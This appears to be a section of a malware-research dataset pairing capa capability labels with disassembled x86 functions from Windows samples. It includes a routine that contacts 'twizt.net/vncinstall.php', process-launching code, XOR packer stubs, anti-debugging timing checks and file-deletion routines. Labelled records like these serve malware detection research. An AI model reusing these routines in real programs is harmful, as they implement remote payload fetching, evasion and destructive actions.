joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10036900
Capabilities:
Decompress data using aplib

Disassembly:
sub esp, 0x14
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x24]
mov al, byte [esi]
push edi
xor ebx, ebx
mov byte [ecx], al
add ecx, 1
xor edi, edi
add esi, 1
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
lea ecx, [ecx]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x10036946
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x10036b03
mov eax, ebx
sub ebx, 1
test eax, eax
mov dword [esp + 0x20], ebx
jne 0x10036978
movzx edx, byte [esi]
add esi, 1
mov ebx, 7
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], ebx
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
mov dword [esp + 0x1c], edx
je 0x10036a48
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x100369a4
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x100369f6
xor edi, edi
lea ebp, [edi + 4]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x100369c9
movzx edx, byte [esi]
add esi, 1
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
sub ebp, 1
lea edi, [eax + edi*2]
jne 0x100369b7
test edi, edi
mov dword [esp + 0x14], esi
je 0x100369ee
mov eax, ecx
sub eax, edi
mov al, byte [eax]
jmp 0x10036b0c
mov byte [ecx], 0
jmp 0x10036b0e
movzx ebp, byte [esi]
mov edi, ebp
and edi, 1
add esi, 1
add edi, 2
shr ebp, 1
mov dword [esp + 0x14], esi
je 0x10036a32
test edi, edi
je 0x10036a3a
mov eax, ecx
sub eax, ebp
mov al, byte [eax]
mov byte [ecx], al
add ecx, 1
sub edi, 1
jne 0x10036a10
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x10036b17
mov dword [esp + 0x10], 1
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x10036b17
lea ecx, [esp + 0x14]
call fcn.10036880
test edi, edi
jne 0x10036a8e
cmp eax, 2
jne 0x10036a89
lea ecx, [esp + 0x14]
call fcn.10036880
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x10036af0
nop
mov edx, ecx
sub edx, dword [esp + 0x28]
add ecx, 1
sub eax, 1
mov dl, byte [edx]
mov byte [ecx - 1], dl
jne 0x10036a70
mov dword [esp + 0x18], ecx
jmp 0x10036af0
sub eax, 3
jmp 0x10036a91
sub eax, 2
mov ecx, dword [esp + 0x14]
movzx edx, byte [ecx]
add ecx, 1
shl eax, 8
add eax, edx
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.10036880
cmp esi, 0x7d00
jb 0x10036aba
add eax, 1
cmp esi, 0x500
jb 0x10036ac5
add eax, 1
cmp esi, 0x80
jae 0x10036ad0
add eax, 2
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x10036aec
mov edx, ecx
sub edx, esi
mov dl, byte [edx]
mov byte [ecx], dl
add ecx, 1
sub eax, 1
jne 0x10036ad8
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], esi
mov ebx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
mov edi, 1
jmp 0x10036b17
mov al, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
mov byte [ecx], al
add ecx, 1
xor edi, edi
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x10], 0
je 0x10036930
pop edi
pop esi
mov eax, ecx
sub eax, dword [esp + 0x24]
pop ebp
pop ebx
add esp, 0x14
ret 8
Function at 0x406880
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00404a30
call sub.kernel32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.kernel32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x4068b6
jmp 0x4068f5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x4068b3
cmp al, 0x20
je 0x4068b3
cmp al, 0x22
jne 0x4068d9
jmp 0x406944
cmp al, 0x20
lea esi, [esi]
je 0x4068e0
test al, al
je 0x4068f5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x4068c7
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x40695a
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x4068e7
cmp al, 0x20
je 0x4068e7
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x406904
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.kernel32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401803
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x40694e
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x406940
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x4068e0
cmp al, 9
je 0x4068e7
jmp 0x4068f5

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x26f72308
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x65e67048
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401051
push 0
push 0
push 0
push 0
push str.http:__twizt.net_vncinstall.php
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401070
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x4010e1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x401116
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x401120
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_110.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4011b8
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4011ae
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1388
jbe 0x4011a4
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x4011a4
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x401480
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x404020]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x418]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x418]
push ecx
push str._s525352353.jpg
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4014dd
xor al, al
jmp 0x401517
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffff
je 0x401515
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004017e4
mov esp, ebp
pop ebp
ret
Function at 0x4017e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404020]
jne 0x4017ee
repz ret
jmp fcn.00401b15
Function at 0x6d6520
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x6d6734
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
xor eax, eax
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x18], 0x20
cmp edx, 7
ja case.default.0x6d6557
jmp dword [edx*4 + 0x6d655e]
lea eax, [ebp - 0x10]
mov edx, 0x6d6750
call fcn.0040517c
mov byte [ebx + 0x10], 3
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0x100
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d676c
call fcn.0040517c
mov byte [ebx + 0x10], 4
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0x100
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d6788
call fcn.0040517c
mov byte [ebx + 0x10], 5
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0x100
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d67a4
call fcn.0040517c
mov byte [ebx + 0x10], 6
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0x100
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d67bc
call fcn.0040517c
mov byte [ebx + 0x10], 7
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0x100
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d67d4
call fcn.0040517c
mov byte [ebx + 0x10], 8
mov dword [ebx + 0x18], 8
mov dword [ebx + 0x14], 0xd8
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d67e8
call fcn.0040517c
mov byte [ebx + 0x10], 9
mov dword [ebx + 0x18], 1
mov dword [ebx + 0x14], 2
jmp 0x6d6690
lea eax, [ebp - 0x10]
mov edx, 0x6d6804
call fcn.0040517c
mov byte [ebx + 0x10], 0xa
mov dword [ebx + 0x18], 4
mov dword [ebx + 0x14], 0x10
push 0x6d6814
mov eax, dword [ebp - 0x10]
call fcn.004055a4
push eax
mov eax, dword [0x6f9668]
push eax
call sub.KERNEL32.DLL_FindResourceA
mov esi, eax
push esi
mov eax, dword [0x6f9668]
push eax
call sub.KERNEL32.DLL_LoadResource
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_LockResource
mov dword [ebp - 0xc], eax
push esi
mov eax, dword [0x6f9668]
push eax
call sub.KERNEL32.DLL_SizeofResource
mov edi, eax
mov dl, 1
mov eax, dword [0x41b818]
call fcn.00404228
mov esi, eax
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 4]
mov edx, dword [ebp - 0xc]
mov ecx, edi
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
xor ecx, ecx
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x14]
mov edx, esi
mov eax, ebx
call fcn.006d63b0
mov byte [ebp - 1], al
mov eax, esi
call fcn.00404258
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_FreeResource
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6d673b
lea eax, [ebp - 0x10]
call fcn.004050e4
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6cf64088
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4ee264cb
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x406830
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [0x644040]
xor eax, ebp
mov dword [esp + 0x40], eax
movsd xmm0, qword [0x649680]
xorpd xmm1, xmm1
ucomisd xmm0, xmm1
jne 0x40685b
jnp 0x406880
movsd qword [esp + 0x18], xmm0
fld qword [esp + 0x18]
fstp xword [esp + 0xc]
mov ecx, dword [esp + 0x40]
xor ecx, ebp
call fcn.00566245
fld xword [esp + 0xc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [esp + 0xc], eax
call esi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x649690]
mov ecx, dword [0x64784c]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x4069b5
mov eax, dword [0x6496a0]
mov ecx, dword [0x64784c]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jg 0x4069ee
rdtsc
mov dword [esp + 8], eax
mov dword [esp + 4], edx
xor eax, eax
lea esi, [esp + 0x38]
mov dword [esi + 4], eax
mov dword [esi], eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ebx, dword [esi]
mov edi, dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi], eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
sub ebx, dword [0x649698]
sbb edi, dword [0x64969c]
movd xmm0, edi
movd xmm1, ebx
punpckldq xmm1, xmm0
movq qword [esp + 0x28], xmm1
fild qword [esp + 0x28]
fstp qword [esp + 0x20]
movsd xmm1, qword [esp + 0x20]
fild qword [esp + 0x38]
fstp qword [esp + 0x30]
divsd xmm1, qword [esp + 0x30]
pxor xmm0, xmm0
movsd xmm2, qword [0x625460]
ucomisd xmm2, xmm1
ja 0x40685b
mov eax, dword [esp + 8]
sub eax, dword [0x649688]
mov ecx, dword [esp + 4]
sbb ecx, dword [0x64968c]
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpckldq xmm0, xmmword [0x625440]
subpd xmm0, xmmword [0x625450]
haddpd xmm0, xmm0
divsd xmm0, xmm1
movsd qword [0x649680], xmm0
jmp 0x40685b
push 0x649690
call fcn.00562fa8
add esp, 4
cmp dword [0x649690], 0xffffffff
jne 0x4068bf
rdtsc
mov dword [0x649688], eax
mov dword [0x64968c], edx
push 0x649690
call fcn.00562ff7
add esp, 4
jmp 0x4068bf
push 0x6496a0
call fcn.00562fa8
add esp, 4
cmp dword [0x6496a0], 0xffffffff
jne 0x4068e0
xor eax, eax
lea esi, [esp + 0x38]
mov dword [esi + 4], eax
mov dword [esi], eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [0x64969c], ecx
mov dword [0x649698], eax
push 0x6496a0
call fcn.00562ff7
add esp, 4
jmp 0x4068e0
Function at 0x40a870
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, dword [ebp + 8]
cmp dword [ecx], ebx
je 0x40a8a8
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [esi]
inc eax
cmp eax, 2
jae 0x40a8b2
lea eax, [ebx + 1]
cmp eax, 2
jb 0x40a8a1
mov dword [esi], ebx
call fcn.005018d0
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 4
call fcn.005018d0
mov eax, dword [esi]
cmp dword [0x655038], 0
mov dword [ebp - 0x18], eax
je 0x40a8eb
mov eax, dword [0x655038]
mov dword [ebp - 0x14], eax
mov eax, dword [eax]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
call dword [0x63e19c]
mov ecx, dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [ebp - 0x10]
mov dword [esi], 0
jmp 0x40a892
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x631a0d
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a927
mov ecx, eax
cmp eax, sym.browser.exe_GetHandleVerifier
je 0x40a921
call dword [0x63e19c]
call ecx
push 0
push eax
call fcn.0042a0c0
add esp, 8
jmp 0x40a8c5
push 1
push 0
jmp 0x40a917
xor eax, eax
push eax
jmp 0x40a916
Function at 0x40f1c0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x100c
call fcn.00566670
mov esi, ecx
mov eax, dword [0x644040]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov edi, 0x800
lea ebx, [ebp - 0x810]
push edi
push 0xff
push ebx
call fcn.005679e0
add esp, 0xc
lea eax, [ebp - 0x1014]
mov dword [eax], 1
lea ecx, [ebp - 0x1018]
mov dword [ecx], edi
push ecx
push ebx
push eax
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40f24f
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1014]
cmp eax, 1
jne 0x40f253
mov ecx, esi
push ebx
call fcn.0040f2b0
xor edi, edi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00566245
mov eax, edi
add esp, 0x100c
pop esi
pop edi
pop ebx
pop ebp
ret 8
mov edi, eax
jmp 0x40f236
mov edi, 0x3f4
cmp eax, 2
jne 0x40f236
lea edi, [ebp - 0x1010]
push 0x800
push 0xff
push edi
call fcn.005679e0
add esp, 0xc
push 0x400
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x1018], eax
add eax, 0xfffffbff
mov edi, 0xea
cmp eax, 0xfffffc00
jb 0x40f236
mov ecx, esi
lea eax, [ebp - 0x1010]
push eax
jmp 0x40f22f
Function at 0x410410
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov esi, ecx
mov ebx, dword [ebp + 8]
mov dword [ecx], 0
test ebx, ebx
je 0x41044e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [esi]
inc eax
cmp eax, 2
jae 0x41046c
lea eax, [ebx + 1]
cmp eax, 2
jb 0x410447
mov dword [esi], ebx
call fcn.005018d0
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov byte [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp eax, ebx
je 0x4104e1
mov eax, esi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret 4
call fcn.005018d0
mov eax, dword [esi]
cmp dword [0x655038], 0
mov dword [ebp - 0x18], eax
je 0x4104a5
mov eax, dword [0x655038]
mov dword [ebp - 0x14], eax
mov eax, dword [eax]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
call dword [0x63e19c]
mov ecx, dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [ebp - 0x10]
mov dword [esi], 0
jmp 0x410438
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x631a0d
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4104e4
mov ecx, eax
cmp eax, sym.browser.exe_GetHandleVerifier
je 0x4104db
call dword [0x63e19c]
call ecx
push 0
push eax
call fcn.0042a0c0
add esp, 8
jmp 0x41047f
push 1
push 0
jmp 0x4104d1
int3
xor eax, eax
push eax
jmp 0x4104d0
Function at 0x4111d0
Capabilities:
Check if file exists
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2b8
mov esi, edx
mov dword [ebp - 0x2c0], ecx
mov eax, dword [0x644040]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x2a4]
push 0x294
push 0xff
push edi
call fcn.005679e0
add esp, 0xc
xor ebx, ebx
mov ecx, edi
push ebx
push ebx
mov dword [ebp - 0x2c4], esi
push esi
push 3
push ebx
push dword [ebp - 0x2c0]
call fcn.00411570
xor eax, eax
dec eax
lea edi, [ebp - 0x2b0]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
lea ecx, [ebp - 0x2a4]
push edi
call fcn.0053fb00
movsx eax, byte [edi + 0xb]
mov ecx, eax
test eax, eax
jns 0x41124f
mov ecx, dword [ebp - 0x2ac]
test ecx, ecx
je 0x411319
xor esi, esi
cmp byte [ebp - 0x2a4], 0
je 0x41139f
mov ebx, dword [ebp - 0x2a0]
test bl, 1
jne 0x4113a9
test bl, 0x10
jne 0x411354
cmp byte [ebp - 0x2a5], 0
mov eax, edi
jns 0x41128f
mov eax, dword [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x41134d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
and ecx, 0xfffffffe
xor ebx, ebx
cmp ecx, 2
je 0x4112b2
mov ebx, eax
test esi, esi
cmovne ebx, esi
lea ecx, [ebp - 0x2a4]
lea eax, [ebp - 0x2bc]
push eax
call fcn.0053fb00
cmp byte [ebp - 0x2a5], 0
jns 0x4112e0
push dword [ebp - 0x2b0]
call fcn.00562f60
add esp, 4
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2a8], eax
movsd xmm0, qword [ebp - 0x2bc]
movsd qword [ebp - 0x2b0], xmm0
movsx eax, byte [ebp - 0x2a5]
mov ecx, eax
test eax, eax
jns 0x41130f
mov ecx, dword [ebp - 0x2ac]
mov esi, ebx
test ecx, ecx
jne 0x411259
test al, al
jns 0x41132b
push dword [ebp - 0x2b0]
call fcn.00562f60
add esp, 4
lea ecx, [ebp - 0x2a4]
call fcn.004113f0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00566245
mov eax, ebx
add esp, 0x2b8
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
jmp 0x4112b2
xor ebx, ebx
cmp byte [ebp + 8], 0
je 0x4112b2
mov ecx, edi
mov edx, dword [ebp - 0x2c4]
push 1
call fcn.004111d0
add esp, 4
test eax, eax
jne 0x4112b0
cmp byte [ebp - 0x2a5], 0
mov eax, edi
jns 0x41138b
mov eax, dword [ebp - 0x2b0]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4112b2
jmp 0x41129e
call fcn.00592520
jmp 0x41127e
mov dword [ebp - 0x2c0], ebx
mov ecx, ebx
shr cl, 4
mov dl, byte [ebp + 8]
xor dl, 1
xor ebx, ebx
test cl, dl
jne 0x4112b2
test al, al
jns 0x4113d0
mov eax, dword [ebp - 0x2b0]
jmp 0x4113d6
lea eax, [ebp - 0x2b0]
mov ebx, dword [ebp - 0x2c0]
mov ecx, ebx
and ecx, 0xfffffffe
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x411275